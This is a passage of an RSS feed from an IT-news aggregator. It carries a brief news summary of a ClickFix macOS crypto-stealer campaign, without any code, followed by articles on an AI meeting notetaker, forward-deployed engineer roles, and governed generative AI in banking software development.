<link>https://tsecurity.de/de/3710197/it-security-nachrichten/clickfix-attacks-deliver-macos-stealer-that-can-drain-crypto-wallets/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3710197/it-security-nachrichten/clickfix-attacks-deliver-macos-stealer-that-can-drain-crypto-wallets/</guid>
<pubDate>Fri, 07 Aug 2026 23:46:51 +0200</pubDate>
<content:encoded><![CDATA[ClickFix-style attacks are being used to deliver a Go-based malware capable of stealing cryptocurrency assets, as well as browser-stored passwords, Apple iCloud Keychain data, and cached credentials.

The macOS-focused infection chain is designed to deliver a shell script that profiles the host and then fetches a macOS malware payload that's compatible with the computer's CPU architecture.

"]]></content:encoded>
</item>
<item>
<title><![CDATA[Wispr moves beyond AI dictation with note-taking assistant]]></title>
<description><![CDATA[Wispr, the startup behind dictation tool Wispr Flow, has created an AI note-taking assistant that records meetings and generates conversation summaries for users.



The Wispr Flow Notetaker tool “captures your meetings so you can stop splitting your attention between listening and writing things...]]></description>
<link>https://tsecurity.de/de/3710152/it-nachrichten/wispr-moves-beyond-ai-dictation-with-note-taking-assistant/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3710152/it-nachrichten/wispr-moves-beyond-ai-dictation-with-note-taking-assistant/</guid>
<pubDate>Fri, 07 Aug 2026 23:46:40 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Wispr, the startup behind <a href="https://www.computerworld.com/article/4107331/wispr-ceo-interview-post-keyboard-office.html">dictation tool Wispr Flow</a>, has created an AI note-taking assistant that records meetings and generates conversation summaries for users.</p>



<p class="wp-block-paragraph">The Wispr Flow Notetaker tool “captures your meetings so you can stop splitting your attention between listening and writing things down,” said Sahaj Garja, Wispr CTO and co-founder.</p>



<p class="wp-block-paragraph">Notetaker starts recording with one click, and doesn’t require a bot to attend a video or voice call. It can also be used to capture in-person conversations.</p>



<p class="wp-block-paragraph">The software has three key functions. Before a call, Notetaker displays a meeting brief with information such as meeting purpose and background of participants.</p>



<p class="wp-block-paragraph">Once the meeting starts, a live transcript displays the dialogue text and labels speakers. A “what did I miss?” button provides a summary of talking points from the previous few minutes.</p>



<p class="wp-block-paragraph">Finally, post-meeting, Notetaker generates a more detailed summary organized by topic that includes information such as key dates, decisions, and next steps. Users can search across notes from previous meetings in the Notetaker app. “Over time your meeting history stops being a folder of documents you have to go find and becomes something you can ask questions of,” said Garja.</p>



<p class="wp-block-paragraph">Notetaker integrates with AI assistants such as Anthropic’s Claude and OpenAI’s ChatGPT via model context protocol. This allows users to connect outputs such as transcripts and summaries “into how you already work, instead of sitting in a separate app,” said Garja.</p>



<p class="wp-block-paragraph">With Notetaker, Wispr competes in an increasingly busy market for AI note-taking apps that includes Fireflies, Granola and Otter.</p>



<p class="wp-block-paragraph">Wispr <a href="https://wisprflow.ai/post/wispr-flow-notetaker" target="_blank" rel="noreferrer noopener">claims</a> Notetaker can produce more accurate transcripts than existing tools, partly because of the additional context it uses during transcription. It uses the same personal dictionary from Wispr Flow that includes acronyms, products, and preferred spellings, and can also draw on other sources such as calendar information to understand the purpose of a meeting and help ensure speakers are labelled correctly.</p>



<p class="wp-block-paragraph">Before generating the final summary, Notetaker also re-reads the live meeting transcript and combines it with additional context to create a more accurate final output, Garja said.</p>



<p class="wp-block-paragraph">Notetaker is the first new product launched by Wispr, which was founded in 2021 and has since <a href="https://wisprflow.ai/new-funding" target="_blank" rel="noreferrer noopener">raised</a> $81 million in funding.</p>



<p class="wp-block-paragraph">“We didn’t set out to build a dictation app,” said Garja. “The mission has always been to reshape how people interact with their devices, and dictation was the fastest way in.”</p>



<p class="wp-block-paragraph">“Notetaker is the second product on that path. Dictation took the keyboard out of writing. Notetaker takes it out of meetings, so nobody has to spend the call typing up what everyone just said.”</p>



<h2 class="wp-block-heading">User consent when recording calls</h2>



<p class="wp-block-paragraph">As AI note-taking tools have become more prevalent in the workplace, privacy concerns have arisen, including the need for all-party consent when recording a call in some jurisdictions, and whether meeting audio is used to train AI models. Two software vendors, <a href="https://www.computerworld.com/article/4041849/enterprise-note-taking-apps-face-legal-scrutiny-as-otter-hit-with-privacy-suit.html">Otter</a> and <a href="https://www.computerworld.com/article/4206255/granola-lawsuit-raises-concerns-over-ai-note-taking-app-privacy.html">Granola</a>, currently face separate lawsuits in California that allege privacy law violations related to their products.</p>



<p class="wp-block-paragraph">Wispr Flow Notetaker captures audio locally on a user’s device rather than joining the call as a visible bot. That means there’s no notification to signal that a conversation is being transcribed, which places responsibility on users to disclose the recording to others on the call in accordance with local laws, said Garja.</p>



<p class="wp-block-paragraph">“Users should always let the other person know before you start recording or transcribing a conversation, whether it’s a video call, an in-person meeting, or a phone call,” he said, adding that Wispr intends to build additional features for automated consent messaging “in the coming weeks.”</p>



<p class="wp-block-paragraph">Wispr doesn’t train its AI models on customer data without consent, though free and standard tier customers must choose to opt-out, according to Wispr’s privacy <a href="https://docs.wisprflow.ai/articles/3467817258-security-and-compliance-faq" target="_blank" rel="noreferrer noopener">terms</a>. Nor does it create “voiceprints or biometric profiles” of users or anyone else on a call using audio recording data, the company says.</p>



<p class="wp-block-paragraph">When Notetaker is active, conversation audio is captured on a user’s device and processed on cloud servers to enable transcription. The recorded audio file is encrypted and stored temporarily on the user’s device or cloud storage, Wispr said. After a limited period, the audio is automatically deleted.</p>



<p class="wp-block-paragraph">Notetaker is available with the Wispr Flow macOS app to free and paid subscribers, with support for Windows “coming soon.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[There are two completely different roles called ‘FDE’]]></title>
<description><![CDATA[There’s something very attractive about saying “we embed very closely with our customers and just figure it out with them”, especially since the company that started “forward deploying engineers” is growing 84% with $5B+ revenue. But “forward deployed engineer” is a vague term and means different...]]></description>
<link>https://tsecurity.de/de/3710144/it-nachrichten/there-are-two-completely-different-roles-called-fde/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3710144/it-nachrichten/there-are-two-completely-different-roles-called-fde/</guid>
<pubDate>Fri, 07 Aug 2026 23:46:39 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">There’s something very attractive about saying “we embed very closely with our customers and just figure it out with them”, especially since the company that started “forward deploying engineers” is growing <a href="https://investors.palantir.com/files/2026%20Q1%20PLTR%2010-Q.pdf">84% with $5B+ revenue</a>. But “<a href="https://en.wikipedia.org/wiki/Forward_Deployed_Engineer#cite_note-1">forward deployed engineer</a>” is a vague term and means different things depending on the business you’re running.</p>



<p class="wp-block-paragraph">I spent almost 5 years at Palantir as a forward-deployed software engineer, and Palantir’s version of an “FDE” does not make sense for most companies I now meet as an early-stage VC. Depending on the type of business you’re building, this role could broadly mean one of two things: “the product builder” or “the platform operator.” Clearly defining which bucket you fall into will make it easier to hire for this role and run your FDE org.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/08/nature-of-work-vs-product-leverage.png?w=1024" alt="Figure: Nature of work vs. product leverage." class="wp-image-4206317" width="1024" height="578" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Kabir Sial</p></div>



<h2 class="wp-block-heading">The product builder: The OG Palantir version</h2>



<p class="wp-block-paragraph">The north star is: do whatever it takes to actually solve the user’s problem. FDEs are not just responsible for making the platform work, but also discovering what to build and building it (actually creating software) in service of the customer.</p>



<h2 class="wp-block-heading">The platform operator: Solutions + technical customer success</h2>



<p class="wp-block-paragraph">The north star is: make the product work for the customer – deploy and operationalize it. This is what most startups today really mean when they want FDEs. FDEs here configure the core platform, manage account relationships and drive adoption. This is not new – companies have always had solutions engineers, sales engineers, customer success etc., although the work looks different as FDEs are increasingly building prototypes, configuring evals and building MCPs.</p>



<h2 class="wp-block-heading">Which FDE is right for you</h2>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/08/customer-size.png?w=1024" alt="Figure: Customer size." class="wp-image-4206316" width="1024" height="457" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Kabir Sial</p></div>



<p class="wp-block-paragraph">For most situations, hiring product builder FDEs is a mistake.</p>



<p class="wp-block-paragraph">At scale, the FDEs should be the platform operator. It’s hard to have FDEs build and maintain highly custom product features, especially as the company scales. Over time, the custom product surface area distracts from building the core product, even though AI coding tools make it easy to ship new features quickly and maintain them.</p>



<p class="wp-block-paragraph">Many fast-growing AI startups recognize these constraints and structure the FDE role more like the platform operator. This also allows them to have 5-10 accounts per FDE, which is a much higher ratio than Palantir had (at least in 2023). Even the Palantir FDE role has evolved to look more like the platform operator.</p>



<p class="wp-block-paragraph">There are, however, situations when your FDEs should be the product builder archetype.</p>



<h3 class="wp-block-heading">1. You have very large customers (F500 scale)</h3>



<p class="wp-block-paragraph"><strong>Technical complexity</strong>: Large customers have complex environments with legacy infrastructure that often requires “out-of-platform” engineering work. I often encountered bespoke data infrastructure, privacy requirements, etc. at various Palantir customers that required me to build “out-of-platform” connectors, UIs and backends.</p>



<p class="wp-block-paragraph"><strong>Organizational inertia and trust</strong>: Serving large enterprises is about building trust. In short time periods, overfitting product to a specific user/workflow is often what delivers the most value, builds trust and helps organizations get over the inertia of moving away from Excel and legacy software tools that are part of their day-to-day workflow. For AI-native startups, it’s arguably even more important to invest in doing “unscalable” development with engineering boots on the ground, as it helps solidify your right to exist and eventually expand the customer relationship.</p>



<h3 class="wp-block-heading">2. You have many ICPs and workflows</h3>



<p class="wp-block-paragraph">If you have a broad range of ICPs and workflows that you serve, your product probably is not walk-up usable on day 1 of deployment. The short-term hacky things that product builder FDEs build to make the product work for these heterogeneous users/workflows will help you shape the product long-term.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/08/overfit-products.png?w=1024" alt='Figure: "Overfit" products.' class="wp-image-4206313" width="1024" height="570" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Kabir Sial</p></div>



<p class="wp-block-paragraph">Note: see Palantir Foundry’s architecture <a href="https://www.palantir.com/assets/xrfr7uokpv1b/mhoyY4c8vdVlJhulDStk2/a7340768109c8e8d79d00b4cb99d8e70/Whitepaper_-_Foundry_2022.pdf">here</a>.</p>



<p class="wp-block-paragraph">This was a big reason why Palantir FDEs were more like product builders (and are still able to – see the <a href="https://jobs.lever.co/palantir/dab396d4-2f14-4796-aac0-0d82883dccf0">Forward Deployed Software Engineer job profiles</a> as an example). The vision for Foundry was to be the operating system for an enterprise’s critical decisions – inherently multiple industries, users and workflows. A lot of FDE-led development showed that solving many of these use cases required complex data integrations, which led to the early versions of Foundry being best-suited for complex data integrations and building a customer’s “<a href="https://blog.palantir.com/ontology-finding-meaning-in-data-palantir-rfx-blog-series-1-399bd1a5971b">Ontology</a>”. Similarly, FDEs like myself built custom frontend applications for fraud analysis, pricing, etc. As certain patterns of what these applications required became more clear, they were centralized into an application-layer product.</p>



<h2 class="wp-block-heading">Who you should hire</h2>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/08/who-you-should-hire.png?w=1024" alt="Figure: Who you hire." class="wp-image-4206314" width="1024" height="464" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Kabir Sial</p></div>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/08/why-hire.png?w=1024" alt="Figure: Why hire one vs. the other." class="wp-image-4206315" width="1024" height="456" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Kabir Sial</p></div>



<p class="wp-block-paragraph"><strong>Platform operator</strong>: There is a much broader set of people you could hire, testing for technical fluency (e.g., being good at data analysis, complex Excel work, even SQL), product intuition and an inclination to build customer relationships. Backgrounds like technical customer success, solutions engineering, software engineering, product management and consulting are all strong fits.</p>



<p class="wp-block-paragraph"><strong>Product builder</strong>: You want candidates that are high ownership and missionary software engineers, or technical PMs who want to ship products themselves.</p>



<p class="wp-block-paragraph">Hiring for these profiles, especially product builders, is hard. It’s worth calling out two things that helped Palantir hire software engineers into what might be considered a less sexy role.</p>



<ol start="1" class="wp-block-list">
<li><strong>Culture of building at the edge</strong>: Strong engineers are motivated to build things. Palantir gave FDEs a lot of ownership to build products, which is why much of the core product leadership was former FDEs.</li>



<li><strong>Cult built around mission</strong>: Internally, there was a cult-like devotion to the mission. Everyone always talked about why outcomes were far more important than software, and why most companies building tools had it wrong. I’ve never been at a company where people feel so closely bonded around a mission.</li>
</ol>



<p class="wp-block-paragraph">As founders building AI startups think about hiring FDEs, it’s worth being specific about your culture and asking: Am I just hiring people to support development teams, or am I hiring people to shape and build product? It’s hard to get software engineers (even today) to be excited about an FDE role that might just be technical customer success.</p>



<h2 class="wp-block-heading">What FDEs should be doing (regardless of archetype)</h2>



<p class="wp-block-paragraph">You’ve hired the right people. How do you best leverage your team of FDEs?</p>



<p class="wp-block-paragraph">FDEs were Palantir’s way of delivering outcomes rather than tools. AI-native startups can take this much further and FDEs can help in a few unique ways by leveraging their proximity to customers.</p>



<ol start="1" class="wp-block-list">
<li><strong>Find the most critical workflows</strong>: As AI lowers the cost of producing software, companies will face a lot more competition. FDEs at AI startups should be constantly finding ways to serve the most critical workflows for a customer and paying attention to how customers do work across newer and legacy tools. For example, FDEs at Harvey should pay attention to which workflows are in Westlaw, which ones are moving to ChatGPT/Claude, and how the Harvey product can stay ahead.</li>



<li><strong>Build around nondeterminism</strong>: In more regulated environments, FDEs should be hyper-focused on making products reliable for specific use cases <a href="https://www.anthropic.com/engineering/demystifying-evals-for-ai-agents">using evals</a> and configs. Previously, product reliability lived with product and support. As companies provide outcomes instead of tools, configuring products appropriately and managing evals shifts towards FDE teams.</li>
</ol>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Beyond chatbots: How embedded GenAI is transforming banking application development]]></title>
<description><![CDATA[Business application development is entering a new operating model. The traditional approach of gathering requirements, designing screens, writing services, integrating systems, testing, fixing defects and preparing release documentation still exists, but it is no longer sufficient for enterprise...]]></description>
<link>https://tsecurity.de/de/3710146/it-nachrichten/beyond-chatbots-how-embedded-genai-is-transforming-banking-application-development/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3710146/it-nachrichten/beyond-chatbots-how-embedded-genai-is-transforming-banking-application-development/</guid>
<pubDate>Fri, 07 Aug 2026 23:46:39 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Business application development is entering a new operating model. The traditional approach of gathering requirements, designing screens, writing services, integrating systems, testing, fixing defects and preparing release documentation still exists, but it is no longer sufficient for enterprises that need speed, traceability, resilience and regulatory confidence at the same time. Hyperautomation brings a broader discipline to this challenge. It combines workflow orchestration, intelligent document processing, robotic automation, API-led integration, process mining, test automation, observability and artificial intelligence into a connected delivery fabric. With embedded Generative AI, this fabric becomes more adaptive because applications can interpret natural language, summarize complex data, generate explanations, detect exceptions and support decision workflows rather than merely execute predefined rules.</p>



<p class="wp-block-paragraph">In banking, this shift is especially meaningful. Banks operate across dense application landscapes: trade reporting platforms, wealth management portals, core banking systems, investment banking applications, digital compliance engines, reconciliation utilities, operational dashboards, audit repositories and daily, weekly and monthly reporting platforms. Each of these areas has its own data models, control points, integration patterns, validation rules, exception paths and regulatory obligations. Hyperautomation does not replace engineering discipline; it strengthens it by making business intent, technical execution, control evidence and continuous improvement part of the same lifecycle.</p>



<h2 class="wp-block-heading">From automation to hyperautomation in banking applications</h2>



<p class="wp-block-paragraph">Automation usually addresses a specific task: moving data from one system to another, generating a report, running a batch job or validating a transaction against a rule. Hyperautomation goes further. It looks at the complete business outcome and asks how the entire chain can be streamlined, governed, observed and improved. For example, a trade reporting process may begin with transaction capture, enrich the trade with reference data, validate regulatory fields, identify breaks, generate a submission file, transmit it to a regulator or trade repository, monitor acknowledgements and preserve audit evidence. A narrow automation script may accelerate one step, but a <a href="https://www.gartner.com/en/documents/6454507">hyperautomated design</a> coordinates the complete flow, including exception handling and evidence generation.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/08/figure-Figure-automation-vs-hyperautomation.png?w=1024" alt="Figure: Automation vs. hyperautomation." class="wp-image-4206308" width="1024" height="775" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Magesh Kasthuri</p></div>



<p class="wp-block-paragraph"><strong>Figure: Automation vs. hyperautomation</strong></p>



<p class="wp-block-paragraph">Embedded Generative AI adds a <a href="https://assets.ctfassets.net/5965pury2lcm/65QHMnfLGaRJzJ0sX5982o/520b5f0a9745aecc8730c645994e3a3b/Forrester_Study_-_AI_And_The_Next_Generation_of_Software_Testing.pdf">new layer of intelligence</a>. Instead of forcing every user interaction into rigid screens and codes, business applications can accept natural language prompts, interpret document content, summarize cases, generate draft responses, explain anomalies, produce test scenarios and create release notes. In a banking environment, this intelligence must be carefully bounded. Every AI-assisted action should be traceable, explainable, reviewable and aligned with data privacy, model risk, information security and regulatory expectations. The goal is not uncontrolled autonomy; the goal is governed acceleration.</p>



<h2 class="wp-block-heading">Banking application components suitable for hyperautomation</h2>



<p class="wp-block-paragraph">A modern banking application is rarely a single monolithic system. It is a composition of business capabilities, integration services, workflow engines, data pipelines, user experience layers, analytics models, control dashboards and audit stores. Hyperautomation can accelerate the development and integration of these components by turning repetitive engineering work into <a href="https://www.everestgrp.com/report/egr-2024-31-v-6318/">reusable patterns</a> and by embedding intelligence directly into business processes.</p>



<ul class="wp-block-list">
<li><strong>Trade reporting applications:</strong> Generative AI can help map trade attributes to regulatory fields, explain validation failures, summarize rejected submissions and generate test cases for reporting scenarios. Hyperautomation can orchestrate enrichment, validation, submission, acknowledgement tracking and evidence archival.</li>



<li><strong>Wealth management platforms:</strong> Advisors can use embedded AI to summarize client portfolios, generate suitability narratives, identify missing documents and prepare personalized investment review notes. Automation can coordinate onboarding, risk profiling, document verification, portfolio rebalancing workflows and client communication approvals.</li>



<li><strong>Core banking applications:</strong> Account opening, loan servicing, deposits, payments, interest calculations and customer maintenance can benefit from automated validations, intelligent forms, workflow routing and natural language assistance for operations teams. AI can explain account events or transaction exceptions in plain language.</li>



<li><strong>Investment banking systems:</strong> Deal pipelines, research workflows, underwriting processes, trade lifecycle functions and risk calculations require strong coordination across front-office, middle-office and back-office platforms. Hyperautomation can standardize approvals, documentation, exception resolution and control evidence across these stages.</li>



<li><strong>Digital compliance applications:</strong> Compliance teams can use AI to summarize policy obligations, compare regulatory changes with internal controls, classify alerts, draft investigation notes and produce evidence packs. Automation ensures routing, approvals, segregation of duties, audit trails and regulatory reporting timelines are consistently enforced.</li>



<li><strong>Reconciliation platforms:</strong> AI can assist in matching narratives, explaining breaks, clustering exception patterns and suggesting resolution actions. Hyperautomation can pull data from ledgers, statements, payment processors, trading systems and data warehouses, then route unresolved breaks to the right teams.</li>



<li><strong>Reporting and audit applications:</strong> Daily, weekly and monthly reports can be generated through controlled data pipelines, automated quality checks, narrative generation, variance explanations and approval workflows. Audit applications can preserve lineage, approvals, source extracts, model outputs and control attestations.</li>
</ul>



<h2 class="wp-block-heading">Embedded generative AI as an application capability</h2>



<p class="wp-block-paragraph">Embedding Generative AI into business applications should be treated as an architectural capability, not as a decorative chatbot. A banking application may use AI for search, summarization, reasoning support, content generation, code generation, policy interpretation or anomaly explanation. Each use case requires clear boundaries. The application must know which data the model can access, which actions require approval, what evidence must be captured and where deterministic controls must override probabilistic <a href="https://www.idc.com/resource-center/generative-ai/">suggestions</a>.</p>



<p class="wp-block-paragraph">For example, in trade reporting, an embedded AI assistant can explain why a transaction failed validation and suggest likely fields to review. However, the final correction should pass through rule-based validations, maker-checker approval and audit logging. In wealth management, AI may draft a client review note based on portfolio movements and risk profile, but the advisor must verify suitability, disclosures and final communication. In reconciliation, AI can propose likely matches or categorize break reasons, while the system preserves the original data, confidence score, reviewer action and final resolution path.</p>



<h2 class="wp-block-heading">Hyperautomating the product development lifecycle</h2>



<p class="wp-block-paragraph">The Product Development Lifecycle can itself become hyperautomated. Instead of treating ideation, analysis, design, development, testing, security review, release and operations as disconnected phases, enterprises can create an AI-assisted delivery loop where every stage produces structured artifacts that the next stage can consume. Platforms such as GitHub Copilot, Claude Code or Claude Cowork-style agentic development environments and OpenAI Codex can support this movement by helping teams reason over requirements, generate code, create tests, review changes, modernize legacy modules and produce <a href="https://www.cio.com/article/1307309/the-generative-ai-revolution-is-transforming-how-banks-work.html">documentation</a>. Their value increases when they are connected to repositories, issue trackers, design documents, build pipelines, test suites, security scanners, observability data and enterprise knowledge bases.</p>



<figure class="wp-block-table"><div class="overflow-table-wrapper"><table class="has-fixed-layout"><tbody><tr><td><strong>PDLC Stage</strong></td><td><strong>Hyperautomation Opportunity</strong></td><td><strong>AI-Assisted Outcome</strong></td></tr><tr><td>Business discovery</td><td>Process mining, domain interviews, regulatory mapping, backlog creation</td><td>Structured epics, user stories, acceptance criteria, process maps and control requirements</td></tr><tr><td>Architecture and design</td><td>Reference architectures, API contracts, data models, event flows, security patterns</td><td>Architecture options, integration blueprints, threat-model prompts and design decision records</td></tr><tr><td>Development</td><td>Code generation, service scaffolding, UI component creation, data pipeline templates</td><td>Review-ready code increments, reusable components, migration utilities and integration adapters</td></tr><tr><td>Testing</td><td>Unit, integration, regression, performance, compliance and synthetic data testing</td><td>Generated test cases, defect reproduction steps, test automation scripts and coverage summaries</td></tr><tr><td>Security and compliance review</td><td>Static analysis, dependency checks, policy validation, evidence capture</td><td>Risk explanations, remediation suggestions, control traceability and approval evidence</td></tr><tr><td>Release and deployment</td><td>CI/CD orchestration, environment promotion, release notes, rollback preparation</td><td>Automated deployment packs, release summaries, operational checklists and change records</td></tr><tr><td>Operations and feedback</td><td>Observability, incident analysis, user feedback mining, backlog refinement</td><td>Incident summaries, root-cause hypotheses, improvement stories and reliability recommendations</td></tr></tbody></table> </div></figure>



<h2 class="wp-block-heading">Role of GitHub Copilot, Claude Cowork and Codex</h2>



<p class="wp-block-paragraph">GitHub Copilot is useful where developers need assistance inside the engineering flow: explaining code, generating functions, proposing tests, reviewing pull requests and helping teams move from issue to implementation. In a banking PDLC, it can accelerate microservice creation, API integration, batch processing logic, reconciliation rules, regulatory validation routines and UI workflows. When used with repository context and proper review discipline, it can reduce the time developers spend on repetitive coding while preserving human accountability for design and correctness.</p>



<p class="wp-block-paragraph">Claude Cowork or Claude Code-style agentic environments are valuable for multi-file reasoning, refactoring, debugging and documentation-heavy engineering work. Banking applications often contain deep domain logic scattered across services, configuration files, stored procedures, integration scripts and test suites. An agentic coding assistant that can understand a wider codebase context can help engineers analyze dependencies, prepare modernization plans, update multiple files coherently and draft explanations for reviewers. This is particularly useful in core banking modernization, trade reporting rule updates and compliance workflow refactoring.</p>



<p class="wp-block-paragraph">OpenAI Codex can support issue-to-pull-request workflows, test generation, code review, bug reproduction, migration activities and broader software engineering tasks across the lifecycle. In a hyperautomated PDLC, Codex-like agents can be assigned well-scoped work items, asked to inspect failing tests, propose fixes, create regression coverage and summarize the change for human reviewers. The important design principle is to keep agents inside controlled boundaries: clear prompts, repository permissions, test gates, approval workflows and traceable outputs.</p>



<h2 class="wp-block-heading">Integration architecture for hyperautomated banking applications</h2>



<p class="wp-block-paragraph">A practical architecture begins with business capability decomposition. Each banking domain should be expressed as a set of bounded capabilities such as customer onboarding, account maintenance, trade enrichment, exception management, portfolio review, control attestation, report generation and audit retrieval. These capabilities should be exposed through APIs, events, workflow tasks, data products and user interfaces. Hyperautomation then connects these capabilities using orchestration engines, event streams, rules engines, AI services, RPA connectors where legacy integration is unavoidable and observability layers that capture business and technical telemetry.</p>



<p class="wp-block-paragraph">The embedded AI layer should sit behind a secure application service boundary. It should use retrieval-augmented generation where approved policies, product rules, application documentation and regulatory mappings are retrieved from trusted sources. It should avoid uncontrolled exposure of sensitive customer information. Prompt templates, response validation, redaction, grounding checks, model monitoring and human-in-the-loop approval should be part of the production design. In banking, the most successful AI pattern is often not full automation but <a href="https://www.everestgrp.com/report/egr-2024-31-v-6318/">assisted</a> decisioning with strong controls.</p>



<h2 class="wp-block-heading">Example: Hyperautomated reconciliation and reporting flow</h2>



<p class="wp-block-paragraph">Consider a reconciliation application that compares ledger balances, payment files, trade settlement records and external statements. In a conventional model, operations teams spend significant time downloading files, running macros, investigating mismatches, documenting break reasons and preparing status reports. In a hyperautomated model, data ingestion is scheduled and monitored, schema checks run automatically, matching engines classify obvious matches, AI assists with ambiguous narratives, exceptions are routed through workflow queues and dashboards update in near real time. At the end of the day, the system can generate a draft operations <a href="https://www.pwc.com/us/en/industries/financial-services/library/hyperautomation-gen-ai-in-banking.html">report</a> explaining unresolved breaks, aging trends, risk exposure and pending approvals.</p>



<p class="wp-block-paragraph">The same pattern can extend to daily, weekly and monthly reporting. Data quality rules validate inputs, report templates are populated automatically, AI generates narrative commentary on variances, reviewers approve or amend explanations and the final report is archived with lineage and approvals. Audit teams can later retrieve not only the report but also the source extracts, transformation logs, exception history, reviewer decisions and AI-generated drafts. This creates a richer control environment than manual reporting because evidence is captured by design rather than reconstructed later.</p>



<h2 class="wp-block-heading">Governance, risk and control considerations</h2>



<p class="wp-block-paragraph">Hyperautomation in banking must be designed with governance from the beginning. The development team should define which activities can be automated, which can be AI-assisted and which must remain under human approval. Source code generated by AI must pass normal engineering controls, including peer review, static analysis, dependency scanning, secure coding checks, test execution and production readiness review. Business outputs generated by AI, such as compliance narratives or client-facing explanations, should be <a href="https://www.pwc.com/us/en/industries/financial-services/library/hyperautomation-gen-ai-in-banking.html">reviewed</a> where regulatory or reputational risk is material.</p>



<p class="wp-block-paragraph">Data governance is equally important. AI-enabled applications must respect data classification, residency, retention, masking and access policies. The model should not become an uncontrolled channel through which confidential customer, trading or employee information can leak. Every prompt, retrieved source, generated response, user action and final decision may need to be logged depending on the use case. For audit applications, this traceability is not optional; it is the foundation of trust.</p>



<h2 class="wp-block-heading">Operating model for AI-native PDLC</h2>



<p class="wp-block-paragraph">A hyperautomated PDLC requires changes in team behavior. Product owners should write requirements in a structured manner so that AI tools can generate better stories, acceptance criteria and test scenarios. Architects should maintain living decision records, reference patterns and integration standards that AI agents can use as context. Developers should learn prompt discipline, context packaging and review techniques. Test engineers should focus on coverage strategy, synthetic data, compliance scenarios and defect prevention rather than only manual execution. Operations teams should feed incident <a href="https://www.cio.com/article/1307309/the-generative-ai-revolution-is-transforming-how-banks-work.html">learnings</a> back into the backlog so the system improves continuously.</p>



<p class="wp-block-paragraph">The role of human experts becomes more important, not less. AI can draft, generate, compare and suggest, but domain judgment remains essential. A trade reporting specialist understands regulatory nuance. A wealth advisor understands client suitability. A core banking architect understands transaction integrity. A compliance officer understands control interpretation. Hyperautomation works best when it amplifies these experts and removes repetitive friction around them.</p>



<h2 class="wp-block-heading">Conclusion</h2>



<p class="wp-block-paragraph">Hyperautomation in business application development is not simply a faster way to write software. It is a new way to connect business intent, engineering execution, operational control and continuous learning. In banking, where applications must be reliable, explainable, secure and compliant, the combination of embedded Generative AI and disciplined automation can transform how applications are designed, built, integrated, tested, released and operated. Trade reporting, wealth management, core banking, investment banking, compliance, reconciliation, reporting and audit functions can all benefit when AI is embedded responsibly and automation is orchestrated across the complete lifecycle.</p>



<p class="wp-block-paragraph">Platforms such as GitHub Copilot, Claude Cowork or Claude Code and OpenAI Codex can play an important role in this transformation by accelerating analysis, development, testing, review, modernization and documentation. Their greatest value appears when enterprises treat them not as isolated productivity tools but as part of a governed, AI-native PDLC. The future of banking application development will belong to teams that can combine human expertise, reusable engineering patterns, intelligent automation and strong governance into one coherent delivery model.</p>



<p class="wp-block-paragraph"><em>This article was made possible by our partnership with the IASA </em><a href="https://chiefarchitectforum.org/" target="_blank" rel="noreferrer noopener"><em>Chief Architect Forum</em></a><em>. The CAF’s purpose is to test, challenge and support the art and science of Business Technology Architecture and its evolution over time as well as grow the influence and leadership of chief architects both inside and outside the profession. The CAF is a leadership community of the </em><a href="https://iasaglobal.org/" target="_blank" rel="noreferrer noopener"><em>IASA</em></a><em>, the leading non-profit professional association for business technology architects.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Your AI hiring tool isn’t an HR problem. It’s a security one]]></title>
<description><![CDATA[For years, applicant tracking systems and recruiting platforms were treated as HR technology: Important for workflow, efficiency, compliance and candidate experience, but rarely viewed as core security infrastructure. That assumption no longer holds. Once AI begins reading resumes, scoring candid...]]></description>
<link>https://tsecurity.de/de/3710148/it-nachrichten/your-ai-hiring-tool-isnt-an-hr-problem-its-a-security-one/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3710148/it-nachrichten/your-ai-hiring-tool-isnt-an-hr-problem-its-a-security-one/</guid>
<pubDate>Fri, 07 Aug 2026 23:46:39 +0200</pubDate>
<content:encoded><![CDATA[<div>
